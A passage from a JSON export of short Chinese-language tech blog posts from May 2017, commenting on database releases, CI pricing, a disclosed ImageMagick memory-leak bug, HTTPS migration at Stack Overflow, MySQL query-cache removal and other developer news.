    "body": "<a href=\"https://www.cockroachlabs.com/\">CockroachDB</a> 推出 1.0 版：「<a href=\"https://www.cockroachlabs.com/blog/cockroachdb-1-0-release/\">CockroachDB 1.0 is Production-Ready</a>」。CockroachDB 是希望在分散式環境裡打造出有 ACID 特性的服務，這點類似於 <a href=\"https://www.google.com/\">Google</a> 的 <a href=\"https://research.google.com/archive/spanner.html\">Spanner</a> 架構。\r\n\r\n整個系統主要是用 <a href=\"https://golang.org/\">Go</a> 寫成，支援 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 協定，這讓許多現成的應用可以接上去：\r\n\r\n<blockquote>Use existing PostgreSQL client drivers or supported ORMs.</blockquote>\r\n\r\n而另外一邊有支援 <a href=\"https://dev.mysql.com/\">MySQL</a> 協定的 <a href=\"https://github.com/pingcap/tidb\">TiDB</a> (剛好也是用 Go 寫的)，整個 <a href=\"https://en.wikipedia.org/wiki/NewSQL\">NewSQL</a> 領域東西愈來愈多了...",
    "title": "CockroachDB 1.0"
  },
  {
    "id": "7329",
    "body": "月初才提到「<a href=\"https://blog.gslin.org/archives/2017/05/01/7285/heroku-%E4%B9%9F%E8%A6%81%E9%80%B2%E5%85%A5-ci-%E5%B8%82%E5%A0%B4/\">Heroku 也要進入 CI 市場...</a>」，前幾天就開放使用了：「<a href=\"https://blog.heroku.com/heroku-ci-now-available\">Heroku CI Is Now Generally Available: Fast, Low Setup CI That’s Easy to Use</a>」。\r\n\r\n收費方式是依照 <a href=\"https://devcenter.heroku.com/articles/pipelines\">Heroku Pipelines</a> 收費，一個 Heroku Pipelines 是 USD$10/month：\r\n\r\n<blockquote>Each CI-enabled Heroku Pipeline is charged just $10/month for an unlimited number of test runs.</blockquote>\r\n\r\n比起其他棚是無限量 <a href=\"https://travis-ci.com/\">Travis CI</a> 的 $69/month (1 concurrent job，不限時間)，或是 <a href=\"https://circleci.com/\">CircleCI</a> 的 Free 方案 (1 concurrent job，限時每個月 1500 分鐘) 或是 USD$50/month (2 concurrent job，不限時間)，感覺有些微妙...\r\n\r\n感覺還是先繼續用 Travis CI 好了，目前 Open Source Project 的標準，路邊可以隨便檢到很多範例用... (像是用 <a href=\"https://www.google.com/\">Google</a> 找 <code>\".travis.yml\" \"language:php\" site:github.com</code> 就可以找到很多 PHP 的範例)",
    "title": "Heroku CI 正式推出"
  },
  {
    "id": "7332",
    "body": "<a href=\"https://www.imagemagick.org/\">ImageMagick</a> 的 information leaking，然後 <a href=\"https://www.yahoo.com/\">Yahoo!</a> 很無奈的中獎，所以被稱為 Yahoobleed：「<a href=\"https://www.theregister.co.uk/2017/05/21/yahoo_retires_imagemagick_library/\">Yahoo! retires! bleeding! ImageMagick! to! kill! 0-day! vulnerability!</a>」。發現問題的作者把問題寫在「<a href=\"https://scarybeastsecurity.blogspot.com/2017/05/bleed-continues-18-byte-file-14k-bounty.html\">*bleed continues: 18 byte file, $14k bounty, for leaking private Yahoo! Mail images</a>」這邊。\r\n\r\n作者利用 ImageMagick 的不當處理，取得 uninitialized memory 的資訊，藉以取得可能是上次轉檔的記憶體內容。而這個 jpeg 只有 18bytes (所以作者戲稱每個 byte 價值 USD$778)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/IGtcC2r.webp\" /><img src=\"https://i.gslin.com/imgur/IGtcC2r.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>A robust bounty of $14,000 was issued (for this combined with a similar issue, to be documented separately). $778 per byte -- lol!</blockquote>\r\n\r\n目前的 workaround 也很簡單 (官方採用了)，呼叫 <code>ResetMagickMemory</code> 避免 leaking (咦，這方法好像哪邊怪怪的)：「<a href=\"http://git.imagemagick.org/repos/ImageMagick/commit/1c358ffe0049f768dd49a8a889c1cbf99ac9849b\">Reset memory for RLE decoder (patch provided by scarybeasts)</a>」。",
    "title": "又是 ImageMagick 出包..."
  },
  {
    "id": "7334",
    "body": "看到「<a href=\"https://pxlnv.com/linklog/slack-indexing-spotlight/\">Disabling Slack Indexing Seems to Improve Spotlight Performance on iOS</a>」這篇講 iOS 的 Spotlight Search 很慢的問題，作者後來找到與 <a href=\"https://slack.com/\">Slack</a> 有關？到這邊關掉就正常了：\r\n\r\n<blockquote>Settings &gt; General &gt; Spotlight Search &gt; toggle Slack off</blockquote>\r\n\r\n我是沒遇到... 不過先寫起來，如果以後遇到時應該會有幫助。",
    "title": "iOS 上 Spotlight Search 如果很慢..."
  },
  {
    "id": "7335",
    "body": "被拿出來當 PR 宣傳了：「<a href=\"https://stackoverflow.blog/2017/05/23/stack-overflow-helping-one-million-developers-exit-vim/\">Stack Overflow: Helping One Million Developers Exit Vim</a>」。\r\n\r\n由於 <a href=\"https://vim.sourceforge.io/\">Vim</a> 是 Unix-like 系統一定會內建的 editor，所以常常被拿來放在 tutorial 裡面 (考慮到普及性，但完全不熟的初學者就...)，或是不小心在輸入 <a href=\"https://en.wikipedia.org/wiki/Vipw\">vipw</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Visudo\">visudo</a> 之類的指令就中獎了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LAMLijT.webp\" /><img src=\"https://i.gslin.com/imgur/LAMLijT.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 pageview 破一百萬次了 XDDD 而且流量也都很穩定：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FaIJfK1.webp\" /><img src=\"https://i.gslin.com/imgur/FaIJfK1.jpg\" alt=\"\" /></picture>\r\n\r\n依照地區來拆開的話：(不過沒有照人口數正規化...)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GKTYcy5.webp\" /><img src=\"https://i.gslin.com/imgur/GKTYcy5.jpg\" alt=\"\" /></picture>\r\n\r\n然後做交叉分析，看這些卡在 Vim 的人平常是看什麼其他的文章：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3o13w59.webp\" /><img src=\"https://i.gslin.com/imgur/3o13w59.jpg\" alt=\"\" /></picture>\r\n\r\n回到資料分析的角度來看，這些東西可以透過有 cookie 的 access log 做到。有 access log 後可以用 <a href=\"https://cloud.google.com/\">Google Cloud</a> 的 <a href=\"https://cloud.google.com/bigquery/\">BigQuery</a>，也可以用 <a href=\"https://aws.amazon.com/\">AWS</a> 家的 <a href=\"https://aws.amazon.com/athena/\">Amazon Athena</a> 做。",
    "title": "StackOverflow 上離開 Vim 方法的文章..."
  },
  {
    "id": "7336",
    "body": "看到「<a href=\"https://torrentfreak.com/now-anyone-can-embed-a-pirate-movie-in-a-website-170522/\">Now Anyone Can Embed a Pirate Movie in a Website</a>」這邊介紹的東西，直接輸入 <a href=\"https://www.imdb.com/\">IMDb</a> 的編號 (包括 <code>tt</code> 開頭的那串編號)，他就自動拉出 embed code：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nAhrfTY.webp\" /><img src=\"https://i.gslin.com/imgur/nAhrfTY.jpg\" alt=\"\" /></picture>\r\n\r\n然後可以直接線上觀看：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fwFBJMo.webp\" /><img src=\"https://i.gslin.com/imgur/fwFBJMo.jpg\" alt=\"\" /></picture>\r\n\r\n然後還支援字幕 (唔)：\r\n\r\n<blockquote>Interestingly, should one of those sources be Google Video, Vodlocker says its player offers Chromecast and subtitle support.</blockquote>\r\n\r\n官網有寫來源是到處找：\r\n\r\n<blockquote>VoDLocker searches all general video hosters like youtube, google drive, openload...</blockquote>\r\n\r\n看起來整塊技術其實都是現成的。透過 search engine 加上定期的檢查機制與回報機制就可以做完 @_@",
    "title": "直接從 IMDb 編號看影片"
  },
  {
    "id": "7337",
    "body": "在「<a href=\"http://www.scylladb.com/2017/05/23/scylla-release-version-1-7/\">Scylla release: version 1.7</a>」這邊看到 <a href=\"http://www.scylladb.com/\">ScyllaDB</a> 支援 Counters 的消息了 (雖然剛出來，掛著 Experimental 的消息)：\r\n\r\n<blockquote>Scylla now supports Counters as a native type. A counter column is a column whose value is a 64-bit signed integer and on which two operations are supported: incrementing and decrementing.</blockquote>\r\n\r\n這其實是 <a href=\"https://cassandra.apache.org/\">Cassandra</a> 其中一個強項，針對 counter 這種應用特化的資料型態。",
    "title": "ScyllaDB 1.7 支援 Counters 了"
  },
  {
    "id": "7339",
    "body": "用 <a href=\"https://www.eff.org/https-everywhere\">HTTPS Everywhere</a> 沒什麼感覺，但對於一般人應該不簡單，所以 <a href=\"https://nickcraver.com/\">Nick Craver</a> (根本就是他們家非正式的 PR Engineer XDD 他這幾年寫了不少內部的資訊...) 寫了一篇關於上 HTTPS 的故事：「<a href=\"https://nickcraver.com/blog/2017/05/22/https-on-stack-overflow/\">HTTPS on Stack Overflow: The End of a Long Road</a>」。\r\n\r\n其中他們為了支援舊設備 (沒有支援 SNI 的)，決定直接把所有 wildcard 類的 SSL certificate 都包進去 (另外找 <a href=\"https://www.digicert.com/\">DigiCert</a> 處理)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6eno0LT.webp\" /><img src=\"https://i.gslin.com/imgur/6eno0LT.jpg\" alt=\"\" /></picture>\r\n\r\n然後中間提到這個真的頗無奈的，抱怨 SVG 的 XML... XDDD：\r\n\r\n<blockquote>Finding and killing these was a little fun because you can’t just search for \"http://\". Thank you <em>so much</em> W3C for gems like this:\r\n\r\n&lt;svg xmlns=\"http://www.w3.org/2000/svg\"...</blockquote>\r\n\r\n一條辛苦路 XD",
    "title": "StackOverflow 預設全上 HTTPS 了..."
  },
  {
    "id": "7341",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 老大介紹自家產品 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 的論文：「<a href=\"http://www.allthingsdistributed.com/2017/05/amazon-aurora-design-considerations.html\">Weekend Reading: Amazon Aurora: Design Considerations for High Throughput Cloud-Native Relational Databases.</a>」，論文在「<a href=\"http://www.allthingsdistributed.com/files/p1041-verbitski.pdf\">Amazon Aurora: Design Considerations for High Throughput Cloud-Native Relational Databases</a>」這邊可以取得。\r\n\r\nAmazon Aurora 算是用很特別的架構達到高可靠架構的需求，主要用了一堆已經很強大的底層，像是用 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 來交換一堆資料。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0WZuqmS.webp\" /><img src=\"https://i.gslin.com/imgur/0WZuqmS.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vBZVVo0.webp\" /><img src=\"https://i.gslin.com/imgur/vBZVVo0.jpg\" alt=\"\" /></picture>\r\n\r\n不過 AWS 在論文裡的比較的事情其實並不合現實，因為現在的 <a href=\"https://dev.mysql.com/\">MySQL</a> 在做分散式架構時的方式其實並不一樣 (i.e. <a href=\"http://galeracluster.com/products/\">Galera Cluster</a>)，論文裡提的很多比較的項目，其實都不是其他方式會遇到的問題，所以就看看就好，畢竟是在推銷自家產品...",
    "title": "Amazon Aurora 的論文"
  },
  {
    "id": "7342",
    "body": "看到「<a href=\"http://blog.endpoint.com/2017/05/age-comparison-in-bash-for-files-and.html\">Age comparison in Bash for files and processes</a>」後查了一些資料，如果在不使用外部程式處理的話，的確是多做了不少事情。\r\n\r\n這是 <a href=\"https://www.gnu.org/software/bash/\">Bash</a> 對 <code>-ot</code> 的說明：\r\n\r\n<pre>file1 -ot file2\r\n       True if file1 is older than file2, or if file2 exists and file1 does not.</pre>\r\n\r\n而這是 <a href=\"https://en.wikipedia.org/wiki/Test_(Unix)\">test</a> (也就是 <code>[</code> 這隻程式) 對 <code>-ot</code> 的說明：\r\n\r\n<pre>FILE1 -ot FILE2\r\n       FILE1 is older than FILE2</pre>\r\n\r\n多了檔案是否存在的檢查...\r\n\r\n另外可以參考「<a href=\"https://stackoverflow.com/questions/3427872/whats-the-difference-between-and-in-bash\">What's the difference between [ and [[ in Bash?</a>」這邊的說明，Bash 的 <code>[[</code> 是 Bash 特有的加強版，而 <code>[</code> 則是用系統的 test 運算。",
    "title": "Bash 裡處理 PID file 的方式..."
  },
  {
    "id": "7344",
    "body": "<a href=\"https://aws.amazon.com/codecommit/\">AWS CodeCommit</a> 宣佈支援東京、新加坡、雪梨、法蘭克福四個區域了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/05/aws-codecommit-is-now-available-in-more-regions/\">AWS CodeCommit is Now Available in Asia Pacific (Tokyo), Asia Pacific (Singapore), Asia Pacific (Sydney), and EU (Frankfurt) Regions</a>」。\r\n\r\nAWS CodeCommit 算是純 Git Hosting 的服務，但可以很容易跟 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 之類的東西整合，所以要串其他的服務也不難。之前一直沒用主要還是會抱怨他的 latency...\r\n\r\n比較特別的地方是 SSH username 的地方需要用他產生出來的 name，需要在 <code>~/.ssh/config</code> 裡面設定，會比較麻煩一些，其他的到是還好。\r\n\r\n然後由於 SSH 是採用 <a href=\"https://en.wikipedia.org/wiki/Trust_on_first_use\">Trust on first use</a> 的概念，不像是透過 PKI 稽核架構有 Root CA，所以 AWS 有提供每個區域 CodeCommit 的 SSH Fingerprint，包括了 MD5 與 SHA256 的值：「<a href=\"https://docs.aws.amazon.com/codecommit/latest/userguide/setting-up-ssh-unixes.html\">Setup Steps for SSH Connections to AWS CodeCommit Repositories on Linux, macOS, or Unix</a>」。\r\n\r\n前五個 active user 提供這樣的量，對於個人應該是夠用：\r\n\r\n<blockquote>Unlimited repositories\r\n50 GB-month of storage\r\n10,000 Git requests/month</blockquote>\r\n\r\n而超量的部份收費應該也還好：\r\n\r\n<blockquote>$0.06 per GB-month\r\n$0.001 per Git request</blockquote>\r\n\r\n是可以考慮把一些 Private Repository 從 <a href=\"https://github.com/\">GitHub</a> 上搬出來了... (當初買 GitHub 是因為他的穩定度比 <a href=\"https://bitbucket.org/\">Bitbucket</a> 以及 <a href=\"https://about.gitlab.com/gitlab-com/\">GitLab.com</a> 都好不少)",
    "title": "AWS CodeCommit 總算支援東京區了..."
  },
  {
    "id": "7346",
    "body": "作者為了在 <a href=\"https://www.kernel.org/\">Linux</a> 下進行安全分析而弄出來的計畫：「<a href=\"https://github.com/taviso/loadlibrary\">Porting Windows Dynamic Link Libraries to Linux</a>」。\r\n\r\n作者對 Windows 的架構有不少抱怨 XDDD\r\n\r\n<blockquote>Distributed, scalable fuzzing on Windows can be challenging and inefficient. This is especially true for endpoint security products, which use complex interconnected components that span across kernel and user space. This often requires spinning up an entire virtualized Windows environment to fuzz them or collect coverage data.\r\n\r\nThis is less of a problem on Linux, and I've found that porting components of Windows Antivirus products to Linux is often possible. This allows me to run the code I’m testing in minimal containers with very little overhead, and easily scale up testing.\r\n\r\nThis is just personal opinion, but I also think Linux has better tools. <code>¯\\_(ツ)_/¯</code></blockquote>\r\n\r\n而這個專案跟 <a href=\"https://www.winehq.org/\">WineHQ</a> 完整模擬不一樣，這只是給 Linux 下原生的程式使用 Windows 下 DLL 內的功能：\r\n\r\n<blockquote>This project does not replace Wine or Winelib.\r\n\r\nWinelib is used to port Windows C++ projects to Linux, and Wine is intended to run full Windows applications. This project is intended to allow native Linux code to load simple Windows DLLs.\r\n\r\nThe closest analogy would be ndiswrapper but for userspace.</blockquote>\r\n\r\n作者拿了 <a href=\"https://en.wikipedia.org/wiki/Windows_Defender\">Windows Defender</a> 當範例，示範在 Linux 下呼叫 Windows 的 DLL...",
    "title": "在 Linux 下引用 Windows 的 DLL 檔"
  },
  {
    "id": "7347",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈了 Marketplace，一個將各種外部 plugin 資訊整合起來的平台，讓開發者更容易尋找有哪些工具可以幫助開發：「<a href=\"https://github.com/blog/2359-introducing-github-marketplace-and-more-tools-to-customize-your-workflow\">Introducing GitHub Marketplace and more tools to customize your workflow</a>」。\r\n\r\n<blockquote>GitHub Marketplace is a new way to discover and purchase tools that extend your workflow. Find apps to use across your development process, from continuous integration to project management and code review.</blockquote>\r\n\r\n可以看到目前分成五大類：\r\n\r\n<ul>\r\n\t<li>Code quality</li>\r\n\t<li>Code review</li>\r\n\t<li>Continuous integration</li>\r\n\t<li>Monitoring</li>\r\n\t<li>Project management</li>\r\n</ul>\r\n\r\n不過看了一下，目前上 Marketplace 的還有點少，不知道是不是對於要上架的公司有另外收費...",
    "title": "GitHub 的整合性平台"
  },
  {
    "id": "7348",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈了把 GitHub Integrations 改名為 GitHub Apps，另外 Rate Limiting 變得更彈性：「<a href=\"https://developer.github.com/changes/2017-05-22-github-apps-production-ship/\">GitHub Apps (formerly Integrations) General Release</a>」。\r\n\r\n<blockquote>All GitHub Apps start with a rate limit of 5000 requests per hour. To facilitate growth we have added a dynamic rate limit for installations: organization installations with more than 20 users receive another 50 requests per hour for each user. Installations that have more than 20 repositories receive another 50 requests per hour for each repository.</blockquote>\r\n\r\n所以對於超過 20 個使用者以及超過 20 個 repository 的 organization 都會增加 Rate Limiting。每個單位增加 50 requests/hour 不算太多，不過想一下好像也不少... (尤其對大一點的團體來說)",
    "title": "GitHub Apps (前身 GitHub Integrations) 的 Rate Limiting 變得更彈性"
  },
  {
    "id": "7349",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 把 P2 instance 的設備準備好了，在東京與雪梨開放使用了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/05/amazon-ec2-p2-instances-are-now-available-in-tokyo-and-sydney-regions/\">Amazon EC2 P2 Instances are now available in Asia Pacific (Tokyo) and Asia Pacific (Sydney) Regions</a>」。\r\n\r\nP2 instance 使用的是 <a href=\"https://en.wikipedia.org/wiki/Nvidia_Tesla\">NVIDIA Tesla</a> K80，大約是兩年多前推出的架構，大概是一連串的計畫吧...",
    "title": "EC2 的 P2 系列 (NVIDIA Tesla K80) 在東京開放使用了"
  },
  {
    "id": "7350",
    "body": "在「<a href=\"https://blog.acolyer.org/2017/05/26/apps-with-hardware-enabling-run-time-architectural-customization-in-smart-phones/\">Apps with hardware: enabling run-time architectural customization in smart phones</a>」這邊看到去年就有論文在討論在手機上使用 <a href=\"https://en.wikipedia.org/wiki/Field-programmable_gate_array\">FPGA</a> 的想法...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/bIvUnsJ.webp\" /><img src=\"https://i.gslin.com/imgur/bIvUnsJ.jpg\" alt=\"\" /></picture>\r\n\r\n的確現在 FPGA 的價錢其實是蠻平價的了... 除了透過 GPU 加速外，FPGA 聽起來也是個不錯的方向 @_@\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7DFs143.webp\" /><img src=\"https://i.gslin.com/imgur/7DFs143.jpg\" alt=\"\" /></picture>\r\n\r\n最直接的例子就是 AES 運算來看，可以看到比現在最快的實做快了半個數量級，大約三倍？(跟支援硬體加速的 <a href=\"https://www.openssl.org/\">OpenSSL</a> 比，看格子大約是半格，也就是 10<sup>0.5</sup>，約 3.16 倍)。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XpSqgZM.webp\" /><img src=\"https://i.gslin.com/imgur/XpSqgZM.jpg\" alt=\"\" /></picture>\r\n\r\n而如果是純軟體的應用，有些會差到四個數量級... (萬？)",
    "title": "手機上用 FPGA 的想法..."
  },
  {
    "id": "7351",
    "body": "<a href=\"https://www.reddit.com/\">Reddit</a> 說明了他們如何處理 pageview：「<a href=\"https://redditblog.com/2017/05/24/view-counting-at-reddit/\">View Counting at Reddit</a>」。\r\n\r\n以 Reddit 的規模有提到兩個重點，第一個在善用 <a href=\"https://redis.io/\">Redis</a> 的 <a href=\"https://en.wikipedia.org/wiki/HyperLogLog\">HyperLogLog</a> 這個資料結構，當量大的時候其實可以允許有微小的誤差：\r\n\r\n<blockquote>The amount of memory varies per implementation, but in the case of this implementation, we could count over 1 million IDs using just 12 kilobytes of space, which would be 0.15% of the original space usage!</blockquote>\r\n\r\n維基百科上有說明當資料量在 10<sup>9</sup> 這個等級時，用 1.5KB 的記憶體只有 2% 的誤差值：\r\n\r\n<blockquote>The HyperLogLog algorithm is able to estimate cardinalities of &gt; 10<sup>9</sup> with a typical error rate of 2%, using 1.5 kB of memory.</blockquote>\r\n\r\n第二個則是寫入允許短時間的誤差 (pageview 不會即時反應)，透過批次處理降低對 <a href=\"https://cassandra.apache.org/\">Cassandra</a> cluster 的負荷：\r\n\r\n<blockquote>Writes to Cassandra are batched in 10-second groups per post in order to avoid overloading the cluster.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qo9cEz9.webp\" /><img src=\"https://i.gslin.com/imgur/qo9cEz9.jpg\" alt=\"\" /></picture>\r\n\r\n可以注意到把 Redis 當作 cache 層而非 storage 層。\r\n\r\n主要原因應該跟 Redis 定位是 data structure server 而非 data structure storage 有關 (可以從對 Durability 的作法看出來)，而使用 Cassandra 存 key-value 非常容易 scale，但讀取很慢。剛好兩個相輔相成。",
    "title": "Reddit 在處理 Page View 的方式"
  },
  {
    "id": "7352",
    "body": "這個禮拜被 <a href=\"https://zh.wikipedia.org/wiki/AlphaGo\">AlphaGo</a> 洗臉後，又看到來搶工作的東西了：「<a href=\"https://arxiv.org/abs/1705.07962\">pix2code: Generating Code from a Graphical User Interface Screenshot</a>」。\r\n\r\n直接把 Mockup 圖檔丟進去，然後就把 iOS 或是 HTML 程式碼生出來：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/pqKeXkhFA3I\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n不過「刻 UI」的確是工程師最討厭的事情啦，這部份能自動化要怎麼說呢... 好像也是不錯的事情啦 @_@",
    "title": "透過 NN (類神經網路) 訓練好的系統，直接把圖片轉成程式碼"
  },
  {
    "id": "7355",
    "body": "<a href=\"https://www.php.net/\">PHP</a> 7.x 的效能已經趕上 <a href=\"http://hhvm.com/\">HHVM</a> (甚至在某些項目超越，參考下面的連結)，這使得後來大家為了相容性與擴充性的考量，HHVM 的社群一直沒有成長 (參考「<a href=\"https://seld.be/notes/php-versions-stats-2017-1-edition\">PHP Versions Stats - 2017.1 Edition</a>」這邊，作者從 <a href=\"https://packagist.org/\">packagist.org</a> 上得到的數據)：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.phoronix.com/scan.php?page=news_item&amp;px=PTS-PHP-7.1-Benchmarks\">PTS: PHP 7.1 vs. PHP 7.0 vs. HHVM Benchmarks</a></li>\r\n\t<li><a href=\"https://kinsta.com/blog/hhvm-vs-php-7/\">HHVM vs PHP 7 – The Competition Gets Closer!</a></li>\r\n</ul>\r\n\r\n這使得 <a href=\"https://symfony.com/\">Symfony</a> 決定在 <a href=\"https://twitter.com/\">Twitter</a> 上蒐集意見，而後決定下一個 major version (4) 將不再支援 HHVM：「<a href=\"https://symfony.com/blog/symfony-4-end-of-hhvm-support\">Symfony 4: End of HHVM support</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Is it time to drop <a href=\"https://twitter.com/hashtag/HHVM?src=hash\">#HHVM</a> support in <a href=\"https://twitter.com/hashtag/Symfony?src=hash\">#Symfony</a> 4? Or anyone willing to see how make tests pass? <a href=\"https://t.co/qm3fQbcFat\">https://t.co/qm3fQbcFat</a></p>&mdash; Fabien Potencier (@fabpot) <a href=\"https://twitter.com/fabpot/status/865080534669635584\">May 18, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n馬上想到的是 <a href=\"https://laravel.com/\">Laravel</a> 用了一堆 Symfony 的元件啊，之後應該會看到 Laravel 也開槍... 可以預料 HHVM 接下來會只剩下 <a href=\"https://www.facebook.com/\">Facebook</a> 用，甚至過個幾年後有可能看到 Facebook 又換回 PHP (然後再打自己的 patch 上去)。",
    "title": "Symfony 4 將放棄 HHVM"
  },
  {
    "id": "7356",
    "body": "雖然這篇用的方法很簡單，但因為太符合本 blog 的副標，所以還是寫下來介紹：「<a href=\"http://www.kerrickstaley.com/2017/05/29/extracting-chinese-subs-part-1\">Extracting Chinese Hard Subs from a Video, Part 1</a>」。\r\n\r\n作者想要把字幕拉出來，他直接把這張圖丟進 OCR，然後失敗 XDDD：\r\n\r\n<img src=\"https://i.gslin.com/imgur/gw83TJ5.jpg\" alt=\"\" />\r\n\r\n他決定拉出下半段：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NX4CXhF.webp\" /><img src=\"https://i.gslin.com/imgur/NX4CXhF.jpg\" alt=\"\" /></picture>\r\n\r\n再做 thresholding：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/q4z5dmJ.webp\" /><img src=\"https://i.gslin.com/imgur/q4z5dmJ.jpg\" alt=\"\" /></picture>\r\n\r\n最後再 OCR 取得文字：\r\n\r\n</pre>′…′二′′′'′ 怎么去逯么远的地方 '/′<pre>\r\n\r\n雖然很粗糙，但已經可以感覺到「幹壞事是進步最大的原動力」的感覺了 XDDD 而且看起來會有續集，會用比較精緻的技巧來處理？",
    "title": "把嵌上去的字幕重新轉回文字"
  },
  {
    "id": "7357",
    "body": "看到 <a href=\"https://www.openbsd.org/\">OpenBSD</a> 可以跑 <a href=\"https://www.docker.com/\">Docker</a> 的消息：「<a href=\"https://medium.com/@dave_voutila/docker-on-openbsd-6-1-current-c620513b8110\">Docker on OpenBSD 6.1 (-current)</a>」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4cF9Bg8.webp\" /><img src=\"https://i.gslin.com/imgur/4cF9Bg8.jpg\" alt=\"\" /></picture>\r\n\r\n整個步驟其實還是很 hack，文章裡可以看到一堆奇怪的方法，有種虛擬機惡搞的氣氛 XDDD (因為是透過 <a href=\"https://alpinelinux.org/\">Alpine</a> 弄出來的)",
    "title": "OpenBSD 也能跑 Docker 了..."
  },
  {
    "id": "7358",
    "body": "半官方的 <a href=\"http://mysqlserverteam.com/\">MySQL blog</a> 上宣佈了拔掉 <code>mysql_query_cache</code> 的計畫：「<a href=\"http://mysqlserverteam.com/mysql-8-0-retiring-support-for-the-query-cache/\">MySQL 8.0: Retiring Support for the Query Cache</a>」。\r\n\r\n作者開頭引用了 <a href=\"http://www.proxysql.com/\">ProxySQL</a> 的人對 MySQL Query Cache 的說明：\r\n\r\n<blockquote>Although MySQL Query Cache was meant to improve performance, it has serious scalability issues and it can easily become a severe bottleneck.</blockquote>\r\n\r\n主要問題在於 MySQL Query Cache 在多 CPU 環境下很難 scale，很容易造成一堆 thread 在搶 lock。而且作者也同意 ProxySQL 的說法，將 cache 放到 client 的效能比較好：\r\n\r\n<blockquote>We also agree with Rene’s conclusion, that caching provides the greatest benefit when it is moved closer to the client:\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KZ8w8zS.webp\" /><img src=\"https://i.gslin.com/imgur/KZ8w8zS.jpg\" alt=\"\" /></picture></blockquote>\r\n\r\n可以看到 Query Cache 在複雜的環境下對效能極傷。而之前也提到過類似的事情了：「<a href=\"https://blog.gslin.org/archives/2015/08/07/5906/percona-%E5%B0%8D-mysql_query_cache-%E7%9A%84%E6%B8%AC%E8%A9%A6-%E4%BB%A5-magento-%E7%82%BA%E4%BE%8B/\">Percona 對 mysql_query_cache 的測試 (以 Magento 為例)</a>」、「<a href=\"https://blog.gslin.org/archives/2016/11/13/6952/%E9%97%9C%E9%96%89-mysql-%E7%9A%84-query-cache/\">關閉 MySQL 的 Query Cache</a>」。\r\n\r\n一般如果要 cache 的話，透過 InnoDB 裡良好的 index 應該還可以撐不少量起來。",
    "title": "MySQL 總算要拔掉 mysql_query_cache 了"
  },
  {
    "id": "7359",
    "body": "在 <a href=\"https://nginx.org/\">nginx</a> 的「<a href=\"https://nginx.org/en/CHANGES\">CHANGES</a>」這邊看到 1.13.0 把 <a href=\"https://tlswg.github.io/tls13-spec/\">TLSv1.3</a> 加進去了 (雖然都還沒成為正式的標準，但一堆人都在支援 XDDD)：\r\n\r\n<blockquote>*) Feature: the \"TLSv1.3\" parameter of the \"ssl_protocols\" directive.</blockquote>\r\n\r\n這樣以後出 1.14 的 stable 版本應該就可以玩 TLSv1.3 了...",
    "title": "nginx 1.13 將支援 TLSv1.3"
  },
  {
    "id": "7360",
    "body": "<a href=\"https://smalldatum.blogspot.com/\">Mark Callaghan</a> 寫了篇關於 <code>performance_schema</code> 的用法 (很短)，讓大家先把這個參數開習慣，雖是入門推廣班：「<a href=\"https://smalldatum.blogspot.com/2017/05/short-guide-on-using-performanceschema.html\">Short guide on using performance_schema for user &amp; table stats</a>」。\r\n\r\n他推薦的兩個資訊是：\r\n\r\n<pre>select * from table_io_waits_summary_by_table\r\nselect * from events_statements_summary_by_account_by_event_name</pre>\r\n\r\n當使用 5.7+ 時，可以考慮這兩個：\r\n\r\n<pre>SELECT * FROM sys.schema_table_statistics\r\nSELECT * FROM sys.user_summary</pre>\r\n\r\n簡單到不行，但卻可以幫不少忙... 很棒的入門推廣班 XDDD",
    "title": "performance_schema 的簡易用法"
  },
  {
    "id": "7361",
